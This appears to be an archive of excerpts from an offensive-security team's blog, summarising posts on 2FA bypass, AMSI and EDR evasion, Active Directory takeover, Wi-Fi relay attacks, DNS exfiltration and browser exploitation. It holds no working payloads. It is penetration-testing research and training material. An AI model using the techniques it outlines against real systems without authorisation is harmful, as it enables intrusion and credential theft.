With the release of windows 11, Microsoft announced the Windows Subsystem for Android or WSA. This following their previous release, Windows Subsystem for Linux or WSL. These enable you to run a virtual Linux or Android environment directly on your Windows Operating System, without the prerequisite compatibility layer provided by third-party software. In this post I’ll show you how to use WSA for Android mobile application pentesting, such that you can perform all of the usual steps using only Windows, with no physical Android device or emulator needed.

sensecon 2021 – wargames edition

Tue, 28 Sep 2021 13:14:33 +0000

If last year taught us anything, it was that we can move quickly to organise a fully online hacker conference in little over a month. This year our annual, internal hacker conference ran from the 16th to the 18th of September, was attended by 102 hackers from 9 countries across 2 timezones, and was once again filled with epic hacks and laughs! In this post I’ll tell you more about the run up and execution of our internal SenseCon 2021! Some of this year’s challenges are available to play for a limited time on our Orange Cyberdefense Hacker Discord server as well. You can join using this link: https://discord.gg/yhfPKyBGbp.

Building an offensive RPC interface

Tue, 03 Aug 2021 17:50:13 +0000

Using the Windows Remote Procedure Call (RPC) interface is an interesting concept when conssidering the fact that it allows you to call functions, over the network in a remote process. I wanted to better understand how RPC worked, and decided to build my own RPC interface to help with that. As a result, I wrote an RPC interface that will spawn a reverse shell given an IP address and a port. In this post I’ll show you how to do just that and what I learnt in a few sections:

blackhat_defcon_virtual_vegas_2021.zip

Sat, 31 Jul 2021 18:39:23 +0000

Phew! This year’s hacker summer camp is packed with presentations from several hackers across the globe at Orange Cyberdefense. I can’t possibly go into all of the many details, but hope to give a somewhat compressed view of the highlights!

This year we have a total of 10 representations. Four of those are DEF CON 29 talks, where two are main stage talks, one a demo labs talk and one a radio frequency village talk. On the training side of things, we’re delivering five courses at BlackHat USA 21, and one course at Ringzer0. I’ve been fortunate enough to see the behind the scenes preparation that goes into these and can’t wait for the world to see and experience them too!

Come do Wi-Fi!

Mon, 19 Jul 2021 08:42:08 +0000

Wi-Fi is everywhere and having a better understanding of it can fair you well! Over the years we have made various tools such as hostapd-mana to enable attacks against Wi-Fi, and then tools such as berate_ap for those people who don’t want to, or have to, learn how to use hostapd-mana.

In our Unplugged: Modern Wi-Fi Hacking course you will be forced to shun the convenience of automated tools such as berate_ap and get dirty with setting up Access Points and Client configurations in a terminal window to ensure you have a good understanding of what is happening under the hood.

Exploring The Fundamentals

Sun, 18 Jul 2021 18:59:40 +0000

We are excited to be presenting our Hands-on-Hacking Fundamentals (HHF) course at this year’s BlackHat USA 2021 conference.

In our HHF course we explore the fundamentals required to grow your hacking skills where you can utilise your newly learned skills with practical, real world hacks in our custom lab environment. This blog aims to demonstrate the fundamentals of networking and scanning using the defacto Network Mapper “Nmap” which is one of the many tools utilised in our course.

Our Enterprise Infrastructure Hacking Course

Sun, 18 Jul 2021 16:23:16 +0000

Here at Orange Cyberdefense, clients often ask us to test and help secure their infrastructure. We do this a lot. We test clients, we test ourselves, and we set up labs to test new ideas and tools. We’ve become quite good at this, if we say so ourselves, and would love to share some of the lessons we’ve learned along the way with anyone that would be interested. That’s what our Enterprise Infrastructure Hacking course is all about: it’s our way of sharing what we’ve learned with you.

Adventures into HTTP2 and HTTP3

Thu, 27 May 2021 08:02:02 +0000

A few months ago I was exploring the write-ups and video solutions for the retired HackTheBox machine – Quick. It’s during this exploration that I came across HTTP/3. For those that are not aware, HTTP/3 is the upcoming third major version of the Hypertext Transfer Protocol used to exchange information on the World Wide Web, succeeding HTTP/2.

Now, to be honest, my knowledge of the Hypertext Transfer Protocol (HTTP) has mainly been restricted to the HTTP/1.0 and HTTP/1.1 specifications. In particular, as that is the main specifications of the protocol we (security pentesters) observe in Burp (our intercepting proxy) when assessing web applications. We are familiar and comfortable seeing HTTP GET/POST requests and the myriad of responses that can be received (e.g., 400, 503…)

From 500 to Account Takeover

Tue, 02 Mar 2021 19:24:02 +0000

Introduction

What seemed like a regular Cross-site Scripting (XSS) vulnerability on an HTTP 500 “Internal Server Error”-page, I managed to turn into a one-click account takeover on an assessment. In this blog post I want to describe the path I took to achieve this leveraging a known Cloudflare WAF bypass and Google analytics to extract session tokens serving as a CSP bypass.

Reconnaissance

At the beginning of the assessment, it quickly came to my attention that the web application stored the Session ID as part of some kind of error reporting JavaScript function in a message variable. This function would be executed if window.error was triggered:

on ios binary protections

Tue, 02 Mar 2021 14:22:01 +0000

I just got off a call with a client, and realised we need to think about how we report binary protections a bit more. More specifically the ios info binary command in objection. They can be a pain to explain if not well understood, and even harder to remediate! Binary protections make exploitation attempts much harder so, naturally we want all of them on. However, as you’d see in this article, not everything can always be enabled and sometimes it’s hard to understand why.

dwn – a docker pwn tool manager experiment

Mon, 08 Feb 2021 09:42:28 +0000

Years ago I learnt docker basics because I just couldn’t get that $ruby_tool to install. The bits of progress I’d make usually left my host’s ruby install in shambles. With docker though, I had quick reproducible build & run environments I could clean up easily without leaving a mess behind. The more I used docker, the more I’ve come to love it, and today it’s become a natural part of my daily workflow. It’s not without its flaws though, so in this post I want to show you an experiment of mine where I tried to write a docker pwn tool manager. A “docker-compose for hackers” if you will, called dwn (/don/). You can find it here: https://github.com/sensepost/dwn.

Android Application Specific Proxies, Easy Mode

Fri, 29 Jan 2021 11:33:26 +0000

In this post I want to share two things. First, a quick primer on how you would you go about navigating the source code when contributing to objection, and secondly an application specific proxy feature I added to it.

Introduction

While on holiday I wanted to look into a certain mobile application that dealt with medical information. I was mostly interested in the data that was sent and received by the application so this meant proxying the traffic into Burp. I did not have a test device with me, so I had to use my personal device. This being my personal device meant that once I had the proxy set, certain applications would cease to function normally (especially those with SSL pinning) as Burp was in the middle.

Duo Two-factor Authentication Bypass

Thu, 28 Jan 2021 08:39:54 +0000

It’s too easy when hacking, to assume something is invulnerable and not interrogate it. This was the case for me when it came to Duo’s two-factor authentication solution. However, we were able to discover two variants of the same 2FA bypass. These rely on redirecting a victim’s push notifications to an attacker-controlled device, to authorise access to a victim account. Interactions with Duo had this fixed in record time, and were easily some of the best vendor/researcher interactions we’ve ever had. If you’re looking for their technical guidance around this, you can find it here.

sconwar – sensecon 2020

Mon, 23 Nov 2020 18:01:33 +0000

Much like other events in 2020, our annual internal hackathon took a remote format this year, sporting over 120 hackers from across the globe. We had many challenges available during the conference which included a password cracking challenge, a discord bot challenge and a programming challenge. This post will talk about the programming challenge called sconwar. You can get the source code for it here.

incubation

Admittedly I was really nervous about the idea for a hacker hackathon in general, but we can only become better hackers by understanding technologies better, more specifically, understanding them by using them. I often hear people say they want to get into programming, for which there are many options, but more often that not the drive ends with “well, what do I code?”.

DualSense Reverse Engineering

Mon, 23 Nov 2020 09:52:32 +0000

Ciao belli!

On the 19th of November 2020, SONY finally released the new PlayStation 5 in the UK. A few days earlier in the US, Japan, and Canada. Of course, Play Station 5 came together with a new Wireless Controller, this time named DualSense. I wanted to see if I could continue my PlayStation controller adventures on this new device, following on my previous work.

A few SONY installations available in London for the release of the PlayStation 5.

DualSense Wireless Controller

The DualSense Wireless Controller presents new features such as:

sensecon 2020 ex post facto

Fri, 13 Nov 2020 16:21:41 +0000

When we finally decided on a date, sensecon 2020 was little over a month away. Unlike our public client events, internally sensecon is a three day conference filled with trainings, a hackathon and a ton of fun. Traditionally we would have had the hackathon in person, but this year our only option was to do it remotely. Overall we had a blast, both in the preparation phase but also during the conference. It was the largest one we had to date, consisting of over 120 Orange Cyberdefense hackers from 8 countries around the globe! This blog post will be a reflection on these three days filled with incredibly exciting hacks, talking about how we got there, how it went and what we had learned along the way. All while I recover from a little sleep deprivation.

Szensecon Discord Bot

Mon, 09 Nov 2020 17:47:01 +0000

We have written a lot about SenseCon by now, but there is one more thing we can talk about! In this post I want to detail the Discord bot and associated challenges that we built. We were going to use Discord as our main communication channel and wanted a way to ensure that it was only accessible to Orange Cyberdefense hackers in an automated way.

This was a good opportunity to look into writing a Discord bot. If you are looking for the source code, you can find it here.

thumbscr-ews – a python EWS tool

Wed, 04 Nov 2020 14:39:55 +0000

Something I have found myself doing more and more often is using Exchange Web Services (EWS) to bypass 2FA. I do this so that I could look through mail for accounts I have compromised. The 2FA bypass is due to a common misconfiguration which can leave EWS unprotected, and has been known about for ages, mostly from the Black Hills post in 2016. However, most of the tooling appears to be written in PowerShell, and being the lazy person I am I prefer not to start up a Windows VM when I want to see if I can access a persons email. Hence I started just using a small script around the amazing exchangelib where I would just retrieve the top 10 emails using the example provided in the help documentation. I was doing this often enough that I decided to make a more useful tool.

More On Foreign Hashes

Thu, 08 Oct 2020 07:40:14 +0000

This is an update on this previous post on foreign NT hashes where I got things a little wrong by believing the source encoding matters for an NT hash. It doesn’t really, let me show you why.

I spent a bit of time exploring further, in particular, I took it down to a test case. Jameel gave me his name as a password in Arabic:

Included as a picture because WordPress is messing with my UTF8.
“echo d8acd985d98ad9842031|xxd -ps -r” can give it to you straight

That’s Jameel1 in Arabic. It’s encoded in UTF8 in most places, whose bytes are:

Pass-the-hash WiFi

Fri, 02 Oct 2020 14:29:44 +0000

Thanks to a tweet Dominic responded to, I saw someone mention Passing-the-hash when I think they actually meant relay. The terminology can be confusing for sure, however, it made me realise that I had never Passed-the-hash with a Wi-Fi network.

So having learnt my lesson from previous projects I first made sure this was possible for NT -> MSCHAP by looking at the RFC.

8.1.  GenerateNTResponse()

   GenerateNTResponse(
   IN  16-octet              AuthenticatorChallenge,
   IN  16-octet              PeerChallenge,
   IN  0-to-256-char         UserName,

   IN  0-to-256-unicode-char Password,
   OUT 24-octet              Response )
   {
      8-octet  Challenge
      16-octet PasswordHash

      ChallengeHash( PeerChallenge, AuthenticatorChallenge, UserName,
                     giving Challenge)

      NtPasswordHash( Password, giving PasswordHash )
      ChallengeResponse( Challenge, PasswordHash, giving Response )
   }

Looks like you can! As you can see in the above, the ChallengeResponse is created using the NT hash and not the password. I then checked wpa_supplicant to see if this was not a feature already, and it turns out it is! Looking at the wpa_supplicant configuration file it says:

Let me store that for you

Fri, 11 Sep 2020 15:44:51 +0000

A while ago Jonas Lykkegaard disclosed a zeroday that could be used to create files in the SYSTEM folder. CVE-2020-16885 got assigned for this vulnerability, and was since patched with KB4580346. This vulnerability was very convenient for Dynamic-link library (DLL) side-loading, which I will show in this blog post. Below you can find his original Twitter message.

Unprivileged users are not allowed to create files in system32 folder- on hyper-v hosts they finally realised that unprivileged lives matters too as anyone can now create files there , with creater as owner, just open like this: pic.twitter.com/Pd6nnqhcKZ

building a hipster-aware pi home server

Wed, 02 Sep 2020 15:48:23 +0000

The end of the year is getting closer, fast, so I figured it was a perfect time to talk about my side project from last year. In this post I want to walk you through setting up a Raspberry Pi as a home server with all of your services running in docker containers with valid Let’s Encrypt certificates without exposing the Pi to the Internet. We will be setting up a myriad of services such as Pihole, SmokePing and Grafana as well as WireGuard for remote access, so buckle up!

DirectAccess and Kerberos Resource-based Constrained Delegation

Wed, 19 Aug 2020 15:16:21 +0000

Background

Are you tired of working from home due to COVID? While this is quite a unique situation we find ourselves in, it also provides some fresh opportunities. Lately we have assessed several environments that was meant to provide a secure way for working from home. For one specific engagement, a client delivered one of their laptops that was domain joined. The laptop was accompanied with credentials of a low privilege domain user. The secure connection to their office was provided using DirectAccess.

NTHashes and Encodings

Wed, 19 Aug 2020 11:44:40 +0000

If you’ve ever cracked a hash with hashcat, you’ll know that sometimes it will give you a $HEX[0011223344] style clear. This is done to preserve the raw byte value of the clear when the encoding isn’t known (or there’s a colon “:” character).

Investigation

Driven by an inability to crack the majority of a certain set of hashes I suspected were in a foreign charset, I decided to have a closer look at what was going on. Let’s take a look at the following examples:

Routopsy – Hacking Routing with Routers

Mon, 03 Aug 2020 18:23:23 +0000

This is a summary of our BlackHat USA 2020 talk.

Introduction

On some of our engagements, Szymon and I found ourselves on various networks vulnerable to; insecure, misconfigured, and often overlooked networking protocols. These included dynamic routing protocols (referred to as DRP‘s) and first hop redundancy protocols (referred to as FHRP‘s). We decided to focus on these two classes of networking protocols to manipulate traffic flows and identify non-conventional ways of performing Person-in-the-Middle (PitM) attacks. This post details the results of that research and the tool we wrote to explore this attack surface. The tool is called Routopsy and is available on Github.

SensePost is now an ethical hacking team of Orange Cyberdefense

Fri, 31 Jul 2020 07:35:23 +0000

From the 1st of August 2020, SensePost will be changing, from the name of our company, to the name of our ethical hacking team and related services. Our company name will change to Orange Cyberdefense and we’ll be a SensePost team within it. We’re excited to be part of Orange Cyberdefense, with a strong cultural overlap both in a commitment to deep hacking and research, but also high quality work and delightful customer service.

ACE to RCE

Fri, 24 Jul 2020 12:28:26 +0000

tl;dr: In this writeup I am going to describe how to abuse a GenericWrite ACE misconfiguration in Active Directory to run arbitrary executables.

During a recent assessment I found a new way to abuse Access Control Entries in a misconfigured Active Directory instance. Before jumping into the juicy bits, I’d first like to explain what these misconfigurations are, how we find them and finally how to abuse them. If you have preexisting knowledge on this topic you can jump to the section titled ‘A new way of abusing GenericWrite‘.

Seeing (Sig)Red

Mon, 20 Jul 2020 14:01:31 +0000

After the SigRed (CVE-2020-1350) write-up was published by Check Point, there was enough detailed information for the smart people, like Hector and others of the Twitterverse (careful with the fake PoC!), to swiftly write a proof of concept to crash Windows DNS. CP did not publish enough details about how to convert this into an RCE, so it looks like a PoC to execute code is still going to take some time to surface. In this post I will describe how I created a Suricata rule to detect exploitation attempts of CVE-2020-1350.

Avoiding detection via DHCP options

Mon, 20 Jul 2020 13:22:32 +0000

When conducting a red team exercise, we want to blend in as much as possible with the existing systems on the target network. For most large networks, that means looking like a Windows machine when you request a DHCP address.

In a lot of cases, though, the machine that we connect to the target network is not going to be running Windows, but more likely, a variant of Linux. By default, Linux DHCP requests don’t look the same as Windows DHCP requests. One way of visualising this would be to take packet captures from Wireshark, copying DHCP requests into a text file and comparing them using Meld.

Clash of the (Spam)Titan

Tue, 14 Jul 2020 07:14:29 +0000

I recently tested an Internet facing Anti-Spam product called SpamTitan Gateway. As you could infer from the name of the product, this platform’s purpose was to detect Spam and or other malicious software sent via email. It has a lot of other features too as you could imagine from this type of product. In this post I will detail some vulnerabilities I discovered that ultimately lead to the ability to have unauthenticated remote code execution.

Covert Login Alerting

Mon, 13 Jul 2020 05:40:20 +0000

Intro

For the longest time I had the idea to implement a notification system that would alert me if someone ever logged in (or tried to login) to an SSH server or XSession on a machine I controlled, using known compromised credentials that were obtained via a data breach or a canary password. In this post I am going to show you how I implemented just that using Canary Tokens.

Making the Perfect Red Team Dropbox (Part 2)

Thu, 09 Jul 2020 10:28:05 +0000

In part 1 of this series, we set up the NanoPi R1S as a USB attack tool, covering OS installation, installation of P4wnP1, and even keylogging a “passed through” keyboard. In this part, I am going to focus on operations as an Ethernet attack tool, using two scenarios. Firstly, as a box which can be connected to an unused Ethernet port, and provide remote access to the target’s network, and secondly, as an Ethernet Person in the Middle (PitM), where it can be placed in between a legitimate device and its upstream switch, and mask its own traffic using the legitimate device’s IP address and MAC address. In the second scenario, we can also defeat Network Access Control measures, because the legitimate device will handle all of that.

Multiple Android User Profiles

Mon, 29 Jun 2020 18:46:40 +0000

I was recently on a mobile assessment where you could only register one profile on the app, per device. To use another account you had to first deactivate the profile and then register a new one. I wasn’t sure whether that would invalidate the original token especially since my goal was to test authorisation issues against the backend. Sure, I could have tested whether the token was invalidated or not, which later I found out it wasn’t. But there were other restrictions within this environment which made me look for a different approach.

Resurrecting an old AMSI Bypass

Wed, 24 Jun 2020 09:02:40 +0000

While working on DoubleAgent as part of the Introduction To Red Teaming course we’re developing for RingZer0, I had a look at Anti-Malware Scan Interface (AMSI) bypasses. One of the objectives I had was to find a new way to evade AMSI. As with my DoubleAgent work, this did not lead to the identification of a novel finding, but instead revealed that old techniques can be revived with minimal work. This blog post describes how to resurrect the original DLL hijack documented by Cn33liz by extending it to simply define the typically exported functions found in amsi.dll in a fake DLL. This gives a low privileged user an AMSI bypass if they can write to a directory.

The hunt for Chromium issue 1072171

Fri, 29 May 2020 16:56:54 +0000

Intro

The last few months I’ve been studying Chrome’s v8 internals and exploits with the focus of finding a type confusion bug. The good news is that I found one, so the fuzzing and analysis efforts didn’t go to waste. The bad news is that I can reliably trigger the vulnerability but I haven’t found a way to weaponise it yet.

If you don’t have prior knowledge of v8, I encourage you to take some time and read through the previous post I wrote. It covers all of the basics regarding the v8 compiler and tools that helped me throughout my research. More importantly, it will help newcomers understand all of the research described within this post.

Being Stubborn Pays Off pt. 2 – Tale of two 0days on PRTG Network Monitor

Fri, 22 May 2020 09:22:00 +0000

Intro

Last year I wrote how to weaponize CVE-2018-19204. This blog post will continue and elaborate on the finding and analysis of two additional vulnerabilities that were discovered during the process; one leading to an arbitrary write as system where the contents can’t be fully controlled and the other leading to Remote Code Execution as SYSTEM. Both vulnerabilities require you to have the administrator password for PRTG Network Monitor. Often you just get lucky, as the software defaults to prtgadmin:prtgadmin for the username and password respectively.

Making the Perfect Red Team Dropbox (Part 1)

Mon, 18 May 2020 11:02:02 +0000

As part of our preparations for our upcoming RingZer0 “Q Division” Training, I have been working on making a software image for the FriendlyArm NanoPi R1S Single Board Computer (SBC) that we’ll be using to demonstrate some close quarters techniques. I will detail the process of configuring an R1S by installing the Armbian distribution as well as P4wnP1 ALOA. We will also take a quick look at getting USBProxy configured to act as a keylogger.

Hack-From-Home Challenge Walk Through

Fri, 24 Apr 2020 08:34:32 +0000

On the 27th of April 2020 SensePost created a CTF challenge (https://challenge.sensepost.com) for the public. The names of those who managed to capture flags would be placed in a draw for a seat on one of SensePost’s upcoming training courses.

The challenge was to grab as many of the four flags as you could. Each flag was harder to get than the previous.

Engage the brain.

The challenge started with a simple engage the brain ctf, where we needed to try guess the next page value by looking at the clues on the current page.

Masquerading Windows processes like a DoubleAgent.

Thu, 23 Apr 2020 15:20:16 +0000

I’ve been spending some time building new content for our Introduction to Red Teaming course, which has been great for diving into AV/EDR bypass techniques again. In this blog post, I will demonstrate how to re-weaponise the old “DoubleAgent” technique, making endpoint security products do the hacking work for us.

One known vector to shimmy past AV solutions is to use process injections. At BlackHat 2019, a number of process injection techniques were presented by Itzik Kotler. A typical code injection implementation using known WINAPI functions, such as the combination of VirtualAlloc, WriteProcessMemory and CreateRemoteThread are well known by endpoint security solutions and will often raise alerts. Whether static or dynamic analysis kicks in, the chances of remaining undetected when using these functions are close to NULL. Alas, the cat and mouse game keeps going endlessly.

Attacking smart cards in active directory

Thu, 26 Mar 2020 13:56:02 +0000

Introduction

Recently, I encountered a fully password-less environment. Every employee in this company had their own smart card that they used to login into their computers, emails, internal applications and more. None of the employees at the company had a password at all – this sounded really cool.

In this post I will detail a technique used to impersonate other users by modifying a User Principal Name (UPN) on an Active Directory domain that only uses smart cards.

Chaining multiple techniques and tools for domain takeover using RBCD

Mon, 09 Mar 2020 14:45:17 +0000

Intro

In this blog post I want to show a simulation of a real-world Resource Based Constrained Delegation attack scenario that could be used to escalate privileges on an Active Directory domain.

I recently faced a network that had had several assessments done before. Luckily for me, before this engagement I had used some of my research time to understand more advanced Active Directory attack concepts. This blog post isn’t new and I used lots of existing tools to perform the attack. Worse, there are easier ways to do it as well. But, this assessment required different approaches and I wanted to show defenders and attackers that if you understand the concepts you can take more than one path.

Intro to Chrome’s V8 from an exploit development angle

Fri, 28 Feb 2020 11:37:00 +0000

Intro

Last Christmas I was doing quite a bit of research around an exploit for Chrome’s JavaScript engine, V8. While most of the concepts around the exploit might seem familiar: for example, what is known as a Type Confusion today has the almost exact concept (or outcome) as a Use-After-Free vulnerability, one of the differences is that there is no free/malloc exploited directly; there is a huge difference in the root cause of the exploitability of Type Confusion vulnerabilities. This is due to the optimisation phases that happen in the JavaScript engine before the Type Confusion bug is triggered. Because of this, after tackling an exploit and realising there’s so much about the internals that I needed to know, I tried getting my head around the tooling and the optimisation pipeline happening within V8, by reading the code and working on some examples while supporting myself on an amazing tool called Turbolizer by the v8 dev team.

[Dual-Pod-Shock] Emotional abuse of a DualShock

Fri, 24 Jan 2020 10:42:51 +0000

Hacking PlayStation DualShock controllers to stream audio to their internal speakers.

Ciao a tutti.

Introduction

I didn’t really know what this project was going to be about and where or how it would end up. The only thing I know is that I started working on it because one day I was bored and having a chat with a friend of mine:

Your flat is like a Luna Park for nerds. Just look around and, I am sure, you’ll figure out what to do. — He said.

Bypassing access control in BMC Control-D Report Viewer

Tue, 03 Dec 2019 10:00:00 +0000

BMC makes a number of mainframe-focused applications, one of which is Control-D. Control-D is a “Report Distribution system for distributed and mainframe platforms”. This blog post describes an authentication bypass vulnerability that was found, allowing access to restricted reports.

To make mainframe-based reports accessible outside the mainframe, and to avoid having to create mainframe accounts for every report consumer, BMC provides a web application, making the reports available via a browser.

Obtaining shells via Logitech Unifying Dongles

Mon, 02 Dec 2019 11:14:21 +0000

In this post, I will recap some of the security research conducted on wireless keyboards and mice, and eventually show how current wireless keyboards and mice can be used to obtain a covert shell on a target computer.

Around 2009, Max Moser realised that most wireless keyboards were simply transmitting the keystrokes in clear text. His initial research targeted systems using 27MHz radios. In 2010, he presented followup research targeting systems using 2.4GHz radios, which suffered from similar vulnerabilities. Manufacturers responded (eventually!) by encrypting the keystrokes, but most elected not to encrypt the mouse movements, because that would introduce latency and increase power consumption for no real benefit.

Hacking doom for fun, health and ammo

Wed, 27 Nov 2019 19:12:00 +0000

Remember iddqd and idkfa? Those are two strings were etched into my brain at a very young age where fond memories of playing shareware Doom live. For SenseCon ’19, Lauren and Reino joined me as we dove into some reversing of chocolate-doom with the aim of recreating similar cheats. The results? Well, a video of it is shown below. We managed to get cheats working that would:

Increment your ammo instead of decrement it.
Increment everyone’s health for the amount it would have gone down for. Yes, you read right, everyone.
Toggle cheats just like how they behaved in classic doom.

The source code for our cheats live here if you want to play along, or maybe even contribute new ones :)

The power of variant analysis (Semmle QL) CVE-2019-15937 and CVE-2019-15938

Mon, 28 Oct 2019 17:24:08 +0000

Intro

This post will try to do a small introduction to the QL language using real-world vulnerabilities that I found in the past, and it will end with a small challenge using QL.

A few months ago, I heard of Semmle QL for the first time, what they do is perform multiple code analysis techniques against source code, and dump these results into a database. Then using the QL language, you can query this data to perform variant analysis.

mettle your ios with frida

Tue, 01 Oct 2019 08:10:03 +0000

For a long time I have wondered about getting Meterpreter running on an iOS device using Frida. It wasn’t until I had a Twitter conversation with @timwr that I was reminded of Mettle. It was finally time to give it a try. I built an objection plugin that would load it for you, which you can find here.

My talk at DEF CON 27 mainly covered some ideas on how we could interact with live object instances in interesting ways. However, there were also some examples of how we could use Frida’s Module.load() API to side load existing external tooling that come in the form of shared libraries (either by default or wrapping them ourselves). With Mettle targeting low-resource or embedded devices, its native code approach meant it also supported iOS. So if we could get a compiled Mettle dylib, we could load it with Frida. You don’t need Frida to load a dylib of course. Using something like insert_dylib would work just as well. The nice thing about using something like Frida though is that we have some external control over the loading process and any post processing that we may need.

PEAP Relay Attacks with wpa_sycophant

Tue, 25 Jun 2019 13:59:31 +0000

Back in 2018, I was interested that MSCHAPv2 and NTLMv1 hashes crack using the same algorithms, and wanting to get onto the WiFi of one of our clients, I naively thought “Surely if you can relay NTLMv1 and it uses the same crypto as MSCHAPv2, you should be able to relay MSCHAPv2!”. The resulted in the creation of wpa_sycophant (and its helper berate_ap) to perform PEAP relay attacks. It was presented in our Defcon talk last year from about 17m in.

Analysis of a 1day (CVE-2019-0547) and discovery of a forgotten condition in the patch (CVE-2019-0726) – Part 1 of 2

Thu, 02 May 2019 06:49:56 +0000

This post will cover my journey into the analysis of CVE-2019-0547 (Affecting the windows DHCP client), a vulnerability discovered by Mitch Adair of Microsoft Windows Enterprise Security Team and how I found a new issue in the same function.

Part 1
- Patch extraction
- Patch diffing
- Program flow to the function
- DHCP Options
- 0x000x00
Part 2
- Integer overflow
- Nobody respects RFCs
- 0xC0 “compression algorithm”
- Final conclusions

Patch extraction

Even though these first steps around patch downloading, extraction and diffing are already heavily documented over the internet, I will cover them here in any case.

recreating known universal windows password backdoors with Frida

Tue, 23 Apr 2019 07:27:14 +0000

tl;dr

I have been actively using Frida for little over a year now, but primarily on mobile devices while building the objection toolkit. My interest in using it on other platforms has been growing, and I decided to play with it on Windows to get a feel. I needed an objective, and decided to try port a well-known local Windows password backdoor to Frida. This post is mostly about the process of how Frida will let you quickly investigate and prototype using dynamic instrumentation.

Understanding PEAP In-Depth

Thu, 18 Apr 2019 07:33:44 +0000

tl;dr
We reported a long standing PEAP bug in all Apple devices that would allow an attacker to force any Apple device (iOS, macOS or tvOS) to associate with a malicious access point, even if the authentication server (RADIUS) couldn’t prove knowledge of the password. To understand it fully, we go on a deep dive into EAP and MSCHAPv2.

While prepping for our Defcon talk last year, Michael kept pushing me to implement hostapd-wpe‘s EAP success attack. In this attack, the authentication server will accept any username, then skip the step where it proves knowledge of the password back to the station (because it doesn’t know the password), and instead sends an EAP-success message back to the station. I refused for a long time, because I thought it was a dumb attack that would never work. This is because in MSCHAPv2 the authentication server also proves knowledge of the password back to the station, and if it couldn’t, I assumed the station would just refuse to continue, after all, that’s the whole point.

Being Stubborn Pays Off pt. 1 – CVE-2018-19204

Thu, 18 Apr 2019 07:00:30 +0000

Intro

During an internal assessment, I came across monitoring software that had default credentials configured. This monitoring software allowed for the creation of sensors, but, none of which would allow for code execution or any other things that could compromise an underlying system. Turns out, it was a vulnerable version based on a publicly known CVE, but there was no public exploit code. Join me in this quest on building an exploit!

Introduction to WebAssembly

Wed, 14 Nov 2018 15:06:24 +0000

I’ve started seeing WebAssemly (WASM) stuff popping up in a few places, most notably CloudFlare’s recent anti-container isolated v8 workload stuff and I wanted to understand it a little better.

Essentially, WebAssembly is a way to compile stuff to a browser-native binary format .wasm, which you can then load with JavaScript and interact with.

Simplest C

Since this is binary, I wanted to start with a C program. Since it’s C, to avoid includes or C<->JS string handling, I’m just going to return 42 like other tutorials start with :)

(Re)Evaluating Qubes OS as a pentesting platform

Wed, 24 Oct 2018 12:23:40 +0000

Intro

Laptop hardening is difficult at the best of times, and it’s made worse by the conflicting requirements we have for our workstations. With one laptop, we need to have work email and chat set up, we need to be able to spin up lab environments to test cool stuff we’re interested in, and we need to be able to run various tools on client engagements that may require us to lower the security of our laptop to run properly. The go-to solution to squaring these requirements is to use something like VMWare or docker containers to keep things separate, but after trying out Qubes for a while, I’ve found that it’s improved my workflow significantly. However, no linux setup is perfect out the box, and in this post I want to note the biggest changes I’ve made to make the OS more usable as a daily driver.

Waiting for goDoH

Wed, 24 Oct 2018 07:31:59 +0000

or DNS exfiltration over DNS over HTTPS (DoH) with godoh

“Exfiltration Over Alternate Protocol” techniques such as using the Domain Name System as a covert communication channel for data exfiltration is not a new concept. We’ve used the technique for many years at SensePost, including Haroon & Marco’s 2007 BH/DC talk on Squeeza. In the present age this is a well understood topic, at least amongst Infosec folks, with a large number of resources, available, online that aim to enlighten those that may not be familiar with the concept. There are also practical techniques for detecting DNS Tunnelling on your network.

Mallet in the Middle

Wed, 10 Oct 2018 09:45:31 +0000

I recently had an assessment reviewing a kiosk application. As I have been working on Mallet recently, this seemed like a perfect opportunity to put Mallet in between the kiosk and its upstream, and see how the kiosk worked. This is a practical walkthrough to help you replicate the setup for your own MitM needs.

The initial state of the network

The end result

Linux Heap Exploitation Intro Series: Set you free() – part 2

Thu, 06 Sep 2018 08:29:15 +0000

Intro

Hello there! On this part we are focusing on abusing chunk creation and heap massaging in hope of overwriting the __malloc_hook weak pointer. Before getting into all the juicy stuff let’s remember some key things from last post.

The value returned by png_get_uint_32 is of type unsigned integer
For a 32 bit integer, the following happens: 0xffffffff + 1 = 0
fread will read values into the destination unless it can’t read from source memory (spoiler: it can)
fread will return the number of elements read from the source

Points 1 and 2 were made clear but 3 and 4 were left unanswered.

Efficient HTTP Scripting in the Shell

Wed, 05 Sep 2018 11:48:22 +0000

Javier had a simple shell script he posted to our internal chat a few days ago. It’s goal was to pull all the IP ranges for a country in preparation for a footprint from https://ipinfo.io/ (Let’s use PL as an example). Given this involved pulling multiple webpages, I was interested to know what the most efficient approach to this in the shell would be. Truthfully, the actual problem, pulling data from the site or gathering BGP routes, didn’t interest me, I wanted to look at how to do mass HTTP enum most efficiently with curl.

punching messages in the q

Fri, 08 Jun 2018 13:40:54 +0000

We’ve done several assessments of late where we needed to (ab)use MQ services. We’ve detailed our experiences and results below. Built a tool, punch-q, so you don’t have to go through the same, and included some info for blue teams, including an osquery extension.

Depending on how old a version you are working with, or which document you read online, you might know IBM’s Message Queue solution as MQSeries, Webshere MQ or IBM MQ. The latter being the latest name it got around 2014 with the release of version 8. Nonetheless, in the last few months I have come across a number of distinct instances of MQ, each used in their own interesting ways for arbitrary systems integrations. Be it for simple messages being passed around or to facilitate file transfers, MQ played a significant role when it came to the overall business processes these companies had. In order to help me understand the technology better, I discovered some prior research by the folks at MWR, with a very informative talk done at Defcon 15 called MQ Jumping. A subsequent white paper was released and is definitely worth a read.

Mallet, a framework for creating proxies

Fri, 08 Jun 2018 09:27:25 +0000

Thanks to IoT and other developments, we’re having to review more and more non-HTTP protocols these days. While the hardware is interesting to look at, one can often find vulnerabilities at a network layer too. With many of the non-HTTP-only proxies having fallen out of maintenance or requiring a significant amount of custom code to be written for each unique protocol encountered, we decided to build a tool to make such work easier.

Decoding RF Protocols Within GRC

Wed, 06 Jun 2018 14:26:59 +0000

I’ve been fascinated by SDR and everything you can do with it for a long time, and from a pentesters perspective, I thought it would be awesome to be able to fuzz random devices. RF devices are everywhere, and people have used SDR to mess with lots of devices, such as portable traffic lights, weather stations, and older car key fobs.
The thing is, getting started is much harder than I thought it would be as most tutorials are ambiguous, or much more manual that I’d like. There are lots of tutorials that describe how to find and view an RF signal, but they tend to end up with you counting square waves in audacity, and writing custom scripts to decode the bits you manually wrote down.

A new look at null sessions and user enumeration

Fri, 11 May 2018 19:11:20 +0000

Hello,

TLDR; I think I found three new ways to do user enumeration on Windows domain controllers, and I wrote some scripts for it.

Over the years, I have often used the NULL session vulnerability to enumerate lists of users, groups, shares and other interesting information from remote Windows systems.

For the uninitiated, Windows exposes several administrative and hidden shares via SMB by default.

